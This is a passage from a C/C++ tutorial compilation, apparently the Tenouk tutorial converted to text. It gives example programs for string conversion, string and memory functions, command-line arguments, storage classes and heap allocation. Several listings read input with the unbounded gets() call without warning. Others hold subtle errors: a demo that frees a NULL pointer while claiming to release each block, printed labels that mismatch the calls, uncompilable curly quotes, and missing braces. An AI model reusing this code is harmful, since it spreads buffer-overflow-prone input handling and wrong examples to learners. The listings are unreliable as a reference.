printf("The string \"123456\" converted to long int is %ld\n", newlong);


printf("The converted value, %ld divided by 2 is %ld\n", newlong, newlong / 2);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//using strtod() - string to double


#include <stdio.h>
#include <stdlib.h>

int main()
{
double p;
char *thestring = "41.2% sample string";
char *thestringPtr;

p = strtod(thestring, &thestringPtr);

printf("Using strtod() - converting string to double...\n");

file:///C|/Tutorial.txt (825 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("-------------------------------------------\n\n");

printf("The string \"%s\" is converted to the\n", thestring);


printf("double value %.2f and the string \"%s\" \n", p, thestringPtr);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strtol()-converting string to


//long with 3 arguments
#include <stdio.h>
#include <stdlib.h>

int main()
{
long x;
char *thestring = "-1234567abc", *remainderPtr;

x = strtol(thestring, &remainderPtr, 0);

printf("Using strtol() - converting string to long,\n");


printf(" 3 arguments...\n");
printf("-------------------------------------------\n\n");

printf("The original string is \"%s\"\n", thestring);


printf("The converted value is %ld\n", x);
printf("The remainder of the original string is \"%s\"\n", remainderPtr);
printf("The converted value, %ld plus 567 is %ld\n", x, x + 567);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strtoul() - converting string to


//unsigned long with 3 arguments
#include <stdio.h>
#include <stdlib.h>

int main()
{
unsigned long x;
char *thestring = "1234567def", *remainderPtr;

x = strtoul(thestring, &remainderPtr, 0);

printf("Using strtoul() - converting string to\n");


printf(" unsigned long, 3 arguments\n");
printf("---------------------------------------\n\n");

printf("The original string is \"%s\"\n", thestring);


printf("The converted value is %lu\n", x);
printf("The remainder of the original string is \"%s\"\n", remainderPtr);
printf("The converted value, %lu minus 567 is %lu\n", x, x - 567);

file:///C|/Tutorial.txt (826 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using gets() and putchar()


#include <stdio.h>
#include <stdlib.h>

//function prototype...
void reverse(char *);

int main()
{
//an array for storing the string...
char sentence[80];

printf("Using gets() and putchar()\n");


printf("--------------------------\n");

//prompt for user input...


printf("Enter a line of text:\n");
gets(sentence);

printf("\nThe line printed backward is:\n");


//reverse() function call...
reverse(sentence);
printf("\n");
system("pause");
return 0;
}

void reverse(char *s)


{
//test if nothing entered...
if(s[0] == '\0')
return;
//if something entered...
else
{
reverse(&s[1]);
putchar(s[0]);
}
}

--------------------------------------------------------------------------------------------------------

//using getchar() and puts()


#include <stdio.h>
#include <stdlib.h>

int main()
{
char c, sentence[80];
int i = 0;

file:///C|/Tutorial.txt (827 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("Using getchar() and puts()\n");


printf("--------------------------\n");
puts("Enter a line of text: ");

//while iteration/loop…
while (( c = getchar()) != '\n')
sentence[i++] = c;
//insert NULL at the end of string
sentence[i] = '\0';
puts("\nThe line of text entered was: ");
puts(sentence);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using sprintf()
#include <stdio.h>
#include <stdlib.h>

int main()
{
char s[80];
int x;
float y;

printf("Using sprint()\n");
printf("--------------\n");
printf("Enter an integer and a float, separated by space: \n");
scanf("%d%f", &x, &y);
sprintf(s, "Integer:%6d\nFloat:%8.2f", x, y);
printf("\n%s\n%s\n",
"The formatted output stored in array s is: ", s);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using sscanf()
#include <stdio.h>
#include <stdlib.h>

int main()
{
char s[] = "31298 87.375";
int x;
float y;

printf("Using sscanf()\n");
printf("--------------\n");
sscanf(s, "%d%f", &x, &y);
printf("array, s[] = 31298 87.375\n");
printf("\n%s\n%s%6d\n%s%8.3f\n",

file:///C|/Tutorial.txt (828 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

"The values stored in character array s are: ",


"Integer: ", x, "Float: ", y);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strcpy() and strncpy()


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char x[] = "Yo! Happy Birthday to me";
char y[25], z[15];

printf("Using strcpy() and strncpy()\n");


printf("----------------------------\n");

printf("The string in array x is: %s\n", x);


printf("The string in array y is: %s\n", strcpy(y, x));

strncpy(z, x, 14);
z[14] = '\0';

printf("Only 14 characters ....\n", z);


printf("The string in array z is: %s\n", z);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strcat() and strncat()


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char s1[20] = "Happy ";
char s2[] = "New Year ";
char s3[40] = " ";

printf("Using strcat() and strncat()\n");


printf("--------------------------\n");

printf("s1 = %s\ns2 = %s\n", s1, s2);


printf("\nstrcat (s1, s2) = %s\n", strcat(s1, s2));
printf("strncat (s1, s2, 6) = %s\n", strncat(s3, s1, 6));
printf("strcat(s3, s1) = %s\n", strcat(s3, s1));
system("pause");
return 0;
}

file:///C|/Tutorial.txt (829 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------------------------------

//Using strcmp() and strncmp()


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char * s1 = "Happy New Year";
char *s2 = "Happy New Year";
char *s3 = "Happy Birthday";

printf("Using strcmp() and strncmp()\n");


printf("----------------------------\n");

printf("s1 = %s\n", s1);


printf("s2 = %s\n", s2);
printf("s3 = %s\n", s3);
printf("\nstrcmp(s1, s2) = %2d\n", strcmp(s1, s2));
printf("strcmp(s1, s3) = %2d\n", strcmp(s1, s3));
printf("strcmp(s3, s1) = %2d\n", strcmp(s3, s2));

printf("\nstrncmp(s1, s3, 6) = %2d\n", strncmp(s1, s3, 6));


printf("strncmp(s1, s3, 7) = %2d\n", strncmp(s1, s3, 7));
printf("strncmp(s1, s1, 7) = %2d\n", strncmp(s1, s3, 7));
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string = "This is a test statement, testing! ";
char character1 = ‘e’, character2 = ‘z’;

printf(" Using strchr()\n");


printf(" --------------\n");

if (strchr(string, character1) != NULL)


printf("\’%c\’ was found in \"%s\".\n", character1, string);
else
printf("\’%c\’ was not found in \"%s\".\n", character1, string);

if(strchr(string, character2) != NULL)


printf("\’%c\’ was found in \"%s\".\n", character2, string);
else
printf("\’%c\’ was not found in \"%s\".\n", character2, string);
system("pause");

file:///C|/Tutorial.txt (830 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strcspn()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string1 = "The value is 3.14159";
char *string2 = "1234567890";

printf(" Using strcspn()\n");


printf(" ---------------\n");
printf("string1 = %s\n", string1);
printf("string2 = %s\n", string2);
printf("\nThe length of the initial segment of string1\n");
printf("not containing characters from string2 = %u", strcspn(string1, string2));
printf("\n");
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strpbrk()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string1 = "This is a test statement";
char *string2 = "search";

printf(" Using strpbrk()\n");


printf(" ---------------\n");

printf("In \"%s\" string, a character \’%c\’\n", string2, *strpbrk(string1, string2));


printf("is the first character to appear in\n\"%s\"\n", string1);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{

file:///C|/Tutorial.txt (831 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

char *string1 = "A zoo has many animals including birds";


int c = ‘m’;

printf(" Using strchr()\n");


printf(“ ---------------\n");
printf("string1 = %s\n", string1);

printf("\nThe remainder of string1 beginning with the\n");


printf("last occurrence of character \’%c\’", c);
printf("\nis: %s\n", strrchr(string1, c));
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strspn()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string1 = "The initial value is 3.14159";
char *string2 = "aehilsTuv";

printf(" Using strspn()\n");


printf(" ---------------\n");

printf("string1 = %s\n", string1);


printf("string2 = %s\n", string2);
printf("\nThe length of the initial segment of string1\n");
printf("containing only characters from string2 is = %u\n", strspn(string1, string2));
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strstr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string1 = "abcdefgabcdefgabcdefg";
char *string2 = "defg";

printf(" Using strstr()\n");


printf(" ---------------\n");

printf("string1 = %s\n", string1);


printf("string2 = %s\n", string2);
printf("\nThe remainder of string1 beginning with the");

file:///C|/Tutorial.txt (832 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("\nfirst occurrence of string2 is: %s\n", strstr(string1, string2));


system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strtok()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char string[] = "Is this sentence has 6 tokens?";
char *tokenPtr;

printf(" Using strtok()\n");


printf(" --------------\n");

printf("The string to be tokenized is:\n%s\n", string);


printf("\nThe tokens are: \n\n");

tokenPtr = strtok(string, " ");


while (tokenPtr != NULL)
{
printf("%s\n", tokenPtr);
tokenPtr = strtok(NULL, " ");
}
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using memcpy()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char s1[20], s2[] = "Copying this string into s1";

memcpy(s1, s2, 17);

printf(" Using memcpy()\n");


printf(" --------------\n");

printf("s1[20] = ?\n", s1);


printf("s2[] = %s\n", s2);

printf("\nAfter s2 is copied into s1 with memcpy(),\n");


printf("using memcpy(s1, s2, 17)\n");
printf("\ns1 contains \"%s\"\n", s1);
system("pause");

file:///C|/Tutorial.txt (833 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return 0;
}

--------------------------------------------------------------------------------------------------------

//Using memmove()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char x[] = "My home is home sweet home";

printf(" Using memmove()\n");


printf(" --------------\n");
printf("The string in array x before memmove() is: \n%s", x);
printf("\nThe string in array x after memmove() using \n");
printf("memmove(x, &x[7], 12) is:\n %s\n", memmove(x, &x[7], 12));
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using memcmp()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char s1[] = "ABCDEFGHIJK", s2[] = "ABCDXYZPQR";

printf("Using memcmp()\n");
printf("--------------\n");

printf("s1 = %s\n", s1);


printf("s2 = %s\n", s2);
printf("\nmemcmp(s1, s2, 4) = %2d\n", memcmp(s1, s2, 4));
printf("memcmp(s1, s2, 7) = %2d\n", memcmp(s1, s2, 7));
printf("memcmp(s2, s1, 7) = %2d\n", memcmp(s2, s1, 7));
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using memchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *s = "This is a test string";

file:///C|/Tutorial.txt (834 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

char p = 'e';

printf("Using memchr()\n");
printf("--------------\n");

printf("char p = \'e\'\n");
printf("s = %s\n", s);

printf("\nThe remainder of string s, after character \'%c\'", p);


printf("\nis found, using memchr(s, p, 15)");
printf("\nis \"%s\"\n", memchr(s, p, 15));
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using memset()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char string[40] = "AAAAAAAABBBBBBBBBCCCCCCCCCC";

printf("Using memset()\n");
printf("--------------\n");

printf("string = %s\n", string);


printf("string after memset(string, 'b', 15) =\n%s\n",
memset(string, 'b', 15));
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using strerror()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
printf("strerror() - string errors\n");
printf("--------------------------\n");
printf("strerror(1)->%s", strerror(1));
printf("strerror(2)->%s", strerror(2));
printf("strerror(3)->%s", strerror(3));
printf("strerror(4)->%s", strerror(4));
printf("strerror(5)->%s", strerror(5));
printf("strerror(6)->%s", strerror(6));
printf("strerror(7)->%s", strerror(7));
printf("strerror(8)->%s", strerror(8));
printf("strerror(9)->%s", strerror(9));

file:///C|/Tutorial.txt (835 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("strerror(9)->%s", strerror(9));
printf("strerror(10)->%s", strerror(10));
system("pause");
return 0;
}

----------------------------VC++/VC++ .net---------------------------------------------------------------

//Using strchr()
#include <cstdio>
#include <cstring>
using namespace std;

int main()
{
char *string1 = "A zoo has many animals including birds";
int c = 'm';

printf(" Using strchr()\n");


printf(" ---------------\n");
printf("string1 = %s\n", string1);

printf("\nThe remainder of string1 beginning with the\n");


printf("last occurrence of character \'%c\'", c);
printf("\nis: %s\n", strrchr(string1, c));
return 0;
}

------------------------------------G++--------------------------------------------------------------------

//*****ctystring.cpp******
//Using sprintf()
#include <cstdio>
using namespace std;

int main()
{
char s[80];
int x;
float y;

printf("Using sprint()\n");
printf("--------------\n");
printf("Enter an integer and a float, separated by space: \n");
scanf("%d%f", &x, &y);
sprintf(s, "Integer:%6d\nFloat:%8.2f", x, y);
printf("\n%s\n%s\n",
"The formatted output stored in array s is: ", s);
return 0;
}

-------------------------------------GCc-------------------------------------------------------------------

/****ctstring2.c, using memcpy()*/


#include <stdio.h>
#include <string.h>

file:///C|/Tutorial.txt (836 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
char s1[20], s2[] = "Copying this string into s1";
memcpy(s1, s2, 17);
printf(" Using memcpy()\n");
printf(" --------------\n");
printf("s1[20] = ?\n", s1);
printf("s2[] = %s\n", s2);
printf("\nAfter s2 is copied into s1 with memcpy(),\n");
printf("using memcpy(s1, s2, 17)\n");
printf("\ns1 contains \"%s\"\n", s1);
return 0;
}

-------------------------------------Gcc-------------------------------------------------------------------

/*******************cstr.c**************************/
/*Using functions isdigit(), isalpha(), isalnum(), and isxdigit()*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

int main()
{
printf("Using functions isdigit(), isalpha(),\n");
printf("isalnum(), and isxdigit()\n");
printf("-------------------------------------\n");

printf("\nAccording to isdigit():\n");
isdigit('7') ? printf("7 is a digit\n") : printf("7 is not a digit\n");
isdigit('$') ? printf("$ is a digit\n") : printf("$ is not a digit\n");

printf("\nAccording to isalpha():\n");
isalpha('B') ? printf("B is a letter\n") : printf("B is not a letter\n");
isalpha('b') ? printf("b is a letter\n") : printf("b is not a letter\n");
isalpha('&') ? printf("& is a letter\n") : printf("& is not a letter\n");
isalpha('4') ? printf("4 is a letter\n") : printf("4 is not a letter\n");

printf("\nAccording to isalnum():\n");
isalnum('A') ? printf("A is a digit or a letter\n") : printf("A is not a digit or a letter\n");
isalnum('8') ? printf("8 is a digit or a letter\n") : printf("8 is not a digit or a letter\n");
isalnum('#') ? printf("# is a digit or a letter\n") : printf("# is not a digit or a letter\n");

printf("\nAccording to isxdigit():\n");
isxdigit('F') ? printf("F is a hexadecimal\n") : printf("F is not a hexadecimal\n");
isxdigit('J') ? printf("J is a hexadecimal\n") : printf("J is not a hexadecimal\n");
isxdigit('7') ? printf("7 is a hexadecimal\n") : printf("7 is not a hexadecimal\n");
isxdigit('$') ? printf("$ is a hexadecimal\n") : printf("$ is not a hexadecimal\n");
isxdigit('f') ? printf("f is a hexadecimal\n") : printf("f is not a hexadecimal\n");

return 0;
}

============================MODULEY=======================================
| |

file:///C|/Tutorial.txt (837 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
==========================ONLY C Codes HERE==============================

//program & file names, myecho.exe


//compiled using Visual C++ .Net
#include <stdio.h>

//echo command-line argument

file:///C|/Tutorial.txt (838 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//using array of character pointers


int main(int argc, char *argv[])
{
int i;
for(i=1; i<argc; i++)
printf("%s%s", argv[i],(i<argc-1)? " ":"");
printf("\n");
return 0;
}

--------------------------------------------------------------------------------

//program & file names, myecho.exe


//compiled using Visual C++ .Net
#include <stdio.h>

//another version of the myecho program,


//command-line argument
int main(int argc, char *argv[])
{
while(--argc > 0)
printf("%s%s",*++argv, (argc > 1) ? " ": "");
printf("\n");
return 0;
}

--------------------------------------------------------------------------------

//searchpattern.cpp, compiled using


//Visual C++ .Net
#include <stdio.h>
//maximum input line length
#define MAXLINE 100

//Function prototypes...
int getline(char line[], int max);
int strindex(char source[], char searchfor[]);

//pattern to be searched for in the line


char pattern[] = "eat";

//find/display all line matching pattern


main()
{
char line[MAXLINE];
int found = 0;

printf("Searching \'eat\' in the line of text\n");


printf("Enter line of text:\n");
while(getline(line, MAXLINE) > 0)
if(strindex(line, pattern) >= 0)
{ printf("%s", line);
found++;
}
return found;
}

file:///C|/Tutorial.txt (839 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//getline, get line into string str, return the length


int getline(char str[], int lim)
{
int count, i;
i=0;

while(--lim > 0 && (count=getchar()) != EOF && count != '\n')


str[i++] = count;
if(count=='\n')
str[i++] = count;
str[i]='\0';
return i;
}
//strindex, return index of t in str, -1 if none
int strindex(char str[], char t[])
{
int i, j, k;
for(i=0;str[i]!='\0';i++)
{
for(j=i, k=0; t[k] != '\0' && str[j] == t[k]; j++, k++)
;
if(k > 0 && t[k] == '\0')
return i;
}
return -1;
}

--------------------------------------------------------------------------------

//searchpattern.cpp, compiled using VC++ .Net


//not usable...just program skeleton
#include <stdio.h>
#include <string.h>
#define MAXLINE 100

int getline(char *line, int max)


{
printf("In getline() function\n");
//put getting line of text codes here…
return 0;}

//find and print lines that match pattern


//from the 1st argument
main(int argc, char *argv[])
{
char line[MAXLINE];
int found = 0;

//If just program name (argc = 1), then...


if(argc != 2)
printf("Usage: searchpattern thepattern\n");

//If the program name with switch/option (argc = 2), then...


else

file:///C|/Tutorial.txt (840 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

while(getline(line, MAXLINE) > 0)


{
if(strstr(line, argv[1]) != NULL)
{printf("%s", line);
found++;}
}
return found;

--------------------------------------------------------------------------------

//searchpattern.cpp, compiled using VC++ .Net


#include <stdio.h>
#include <string.h>
#define MAXLINE 100

int getline(char *line, int max)


{
int count, i;
i=0;

while(--max > 0 && (count=getchar()) != EOF && count != '\n')


line[i++] = count;
if(count=='\n')
line[i++] = count;
line[i]='\0';
return i;
}

//find and print lines that match the


//pattern from the 1st argument
main(int argc, char *argv[])
{
char line[MAXLINE];
int found = 0;

//If just program name (argc = 1), then...


if(argc != 2)
printf("Usage: searchpattern thepattern\n");

//If the program name with switch/option (argc = 2), then...


else

while(getline(line, MAXLINE) > 0)


{
if(strstr(line, argv[1]) != NULL)
{
printf("%s", line);
found++;
}
}
return found;

file:///C|/Tutorial.txt (841 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------

//searchpattern.cpp, compiled using


//VC++ .Net
#include <stdio.h>
#include <string.h>
//maximum input line length
#define MAXLINE 100

int getline(char line[], int max)


{
int count, i;
i=0;

while(--max > 0 && (count=getchar()) != EOF && count != '\n')


line[i++] = count;
if(count=='\n')
line[i++] = count;
line[i]='\0';
return i;
}

//find all line of text matching pattern


//supplied by command line argument
main(int argc, char *argv[])
{
char line[MAXLINE];
long linenum = 0;
int theoption, except = 0, number = 0, found =0;

//check the minus sign....


while(--argc > 0 && (*++argv)[0] == '-')
//check the option...
while(theoption = *++argv[0])
switch (theoption)
{
case 'v':
except = 1;
break;
case 'n':
number = 1;
break;
default:
printf("searchpattern: illegal option %s\n",theoption);
argc = 0;
found = -1;
break;
}
//
if(argc != 1)
{
//some help...
printf("Usage: searchpattern -v -n thepattern\n");
printf("Try: searchpattern -v -n test\n");
printf("Try: searchpattern -v test\n");
printf("Try: searchpattern -n test\n");

file:///C|/Tutorial.txt (842 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("Try: searchpattern -vn test\n");


printf("Then enter line of text, with or w/o the pattern!\n");
}
//
else
while(getline(line, MAXLINE) > 0)
{
linenum++;
if((strstr(line,*argv) != NULL) != except)
{
if(number)
printf("%ld:", linenum);
printf("%s", line);
found++;
}
}
return found;
}

---------------------------------------------------------------------------------------------------

//main()arguments program example


//C++ codes
#include <iostream>
//For Borland 5.02 you may use <string.h> instead of <cstring>
//and comment out the ‘using namespace std’;
#include <cstring>
using namespace std;

int main(int argc, char *argv[], char *envp[])


{
//The default is no line numbers.
int LineNum = 0;

//If /n is passed to the .exe program, display


//numbered listing of environment variables.
//If program name and switch/option... AND stricmp...
if((argc == 2) && stricmp(argv[1], "/n" ) == 0)
LineNum = 1;
else
cout<<"no \'/n\' passed..."<<endl;

//Walk through list of strings until a NULL is encountered.


for(int i = 0; envp[i] != NULL; ++i)
{
if(LineNum)
cout<<i<<": "<<envp[i]<<"\n";
}
cout<<"Usage: searchpattern /n\n";
return 0;
}

---------------------------------------------------------------------------------------------------

//searchpattern.cpp
//compiled using VC++ .Net and Borland C++ 5.02

file:///C|/Tutorial.txt (843 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//run on windows machine...


#include <stdio.h>
//For VC++ .Net, comment out the above #include <stdio.h>
//and uncomment the following…
//include <cstdio>
//using namespace std;

int main(int argc, /*Number of strings in array argv*/


char *argv[], /*Array of command-line argument strings*/
char **envp) /*Array of environment variable strings*/
{
int count;

/*Display each command-line argument.*/


printf("\nThe command-line arguments:\n");
for(count = 0; count < argc; count++)
printf(" argv[%d] %s\n", count, argv[count]);

/*Display each environment variable.*/


printf("\nEnvironment variables:\n");
while(*envp != NULL)
printf(" %s\n", *(envp++));

return 0;
}

--------------------------------------------GCC------------------------------------------------------

/***************cmdline.c****************/
/***********Run on FeDorA 3 Machine********/
#include <stdio.h>
/*For C++ compiler, comment out the above #include <stdio.h>*/
/*and uncomment the following.*/
/*include <cstdio>*/
/*using namespace std;*/

int main(int argc, /*Number of strings in array argv*/


char *argv[], /*Array of command-line argument strings*/
char **envp) /*Array of environment variable strings*/
{
int count;

/*Display each command-line argument.*/


printf("\nThe command-line arguments:\n");
for(count = 0; count < argc; count++)
printf(" argv[%d] %s\n", count, argv[count]);

/*Display each environment variable.*/


printf("\nEnvironment variables:\n");
while(*envp != NULL)
printf(" %s\n", *(envp++));

============================MODULEZ========================================
| |

file:///C|/Tutorial.txt (844 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=======================JUST C Codes HERE=================================

/*storage class and scope*/


#include <stdio.h>

void funct1(void);
void funct2(void);

file:///C|/Tutorial.txt (845 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*external variable, scope is global to main(), funct1()


and funct2(), extern keyword is omitted here, coz just one file*/
int globvar = 10;

int main()
{
printf("\n****storage classes and scope****\n");
/*external variable*/
globvar = 20;

printf("\nVariable globvar, in main() = %d\n", globvar);


funct1();
printf("\nVariable globvar, in main() = %d\n", globvar);
funct2();
printf("\nVariable globvar, in main() = %d\n", globvar);
return 0;
}

/*external variable, scope is global to funct1() and funct2()*/


int globvar2 = 30;

void funct1(void)
{
/*auto variable, scope local to funct1() and funct1()
cannot access the external globvar*/
char globvar;

/*local variable to funct1()*/


globvar = 'A';
/*external variable*/
globvar2 = 40;

printf("\nIn funct1(), globvar = %c and globvar2 = %d\n", globvar, globvar2);


}

void funct2(void)
{
/*auto variable, scope local to funct2(), and funct2()
cannot access the external globvar2*/
double globvar2;
/*external variable*/
globvar = 50;
/*auto local variable to funct2()*/
globvar2 = 1.234;
printf("\nIn funct2(), globvar = %d and globvar2 = %.4f\n", globvar, globvar2);
}

--------------------------------------------------------------------------------------------

/*static storage class program example*/


#include <stdio.h>
#define MAXNUM 3

void sum_up(void);

file:///C|/Tutorial.txt (846 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
int count;

printf("\n*****static storage*****\n");
printf("Key in 3 numbers to be summed ");
for(count = 0; count < MAXNUM; count++)
sum_up();
printf("\n*****COMPLETED*****\n");
return 0;
}

void sum_up(void)
{
/*At compile time, sum is initialized to 0*/
static int sum = 0;
int num;

printf("\nEnter a number: ");


scanf("%d", &num);
sum += num;
printf("\nThe current total is: %d\n", sum);
}

--------------------------------------------------------------------------------------------

#include <stdio.h>

int a();
int b();
int c();

int a()
{
b();
c();
return 0;
}

int b()
{
return 0;
}

int c()
{
return 0;
}

int main()
{
a();
return 0;
}

--------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (847 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*Playing with malloc(), memory on the heap*/


#include <stdio.h>
#include <stdlib.h>

void main()
{
int x;
int *y;
/*do 100000 times iteration, 100000 blocks*/
for(x=0; x<100000; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If no more memory*/
if(y == NULL)
{
puts("No more memory lol!");
/*exit peacefully*/
exit(0);
}
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
}
/*Here, we do not free up the allocation*/
}

--------------------------------------------------------------------------------------------

/*Playing with free(), memory on the heap*/


#include <stdio.h>
#include <stdlib.h>

void main()
{
int x;
int *y;
int *buffer = NULL;
/*do 100 times iteration, 100 blocks*/
for(x=0; x<100; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If there is a problem*/
if(y == NULL)
{
puts("No more memory for allocation lol!");
/*exit peacefully*/
exit(0);
}
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
printf("---->Freeing the memory block: %i address: %p\n", x, y);
free((void *)buffer);

file:///C|/Tutorial.txt (848 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
}

--------------------------------------------------------------------------------------------

/*malloc() and struct*/


#include <stdio.h>
#include <stdlib.h>

struct record{
char name[15];
int age;
int id_num;
};

int main()
{
struct record *ptr;
printf("\n--malloc() & struct--\n");
ptr = (struct record *)malloc((sizeof(struct record)));

if(ptr)
{
printf("\nStudent Name: ");
gets(ptr->name);
printf("Student Age: ");
scanf("%d", &ptr->age);
printf("Student Id: ");
scanf("%d", &ptr->id_num);
printf("\nStudent Name: %s", ptr->name);
printf("\nStudent Age: %d", ptr->age);
printf("\nStudent Id Number: %d\n", ptr->id_num);
free(ptr);
}
else
printf("\nMemory allocation fails!!!\n");
return 0;
}

--------------------------------------------------------------------------------------------

/*Playing with malloc() and calloc()*/


#include <stdio.h>
#include <stdlib.h>

#define END 10

int main()
{
int *ptr1, *ptr2, *ptr3;
int i;

/*Get memory for an array using malloc() - 1 parameter*/


ptr1 = (int *) malloc(END*sizeof(int));
/*If memory allocation fails...*/
if (ptr1 == NULL)

file:///C|/Tutorial.txt (849 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
fprintf(stderr, "malloc() failed!\n");
/*exit with an error message*/
exit(1);
}

